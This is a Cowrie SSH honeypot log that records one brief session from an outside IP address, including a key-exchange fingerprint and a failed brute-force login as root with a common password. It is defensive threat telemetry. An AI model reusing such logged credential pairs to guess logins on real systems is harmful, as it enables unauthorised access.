{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"93d12481d0c9","protocol":"ssh","message":"New connection: 171.244.143.209:49084 (10.17.0.5:22) [session: 93d12481d0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:50.662419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:50.667286Z","src_ip":"171.244.143.209","session":"93d12481d0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:50.920810Z","src_ip":"171.244.143.209","session":"93d12481d0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r$","message":"login attempt [root/q1w2e3r$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:51.958394Z","src_ip":"171.244.143.209","session":"93d12481d0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:59:53.207511Z","src_ip":"171.244.143.209","session":"93d12481d0c9","protocol":"ssh"}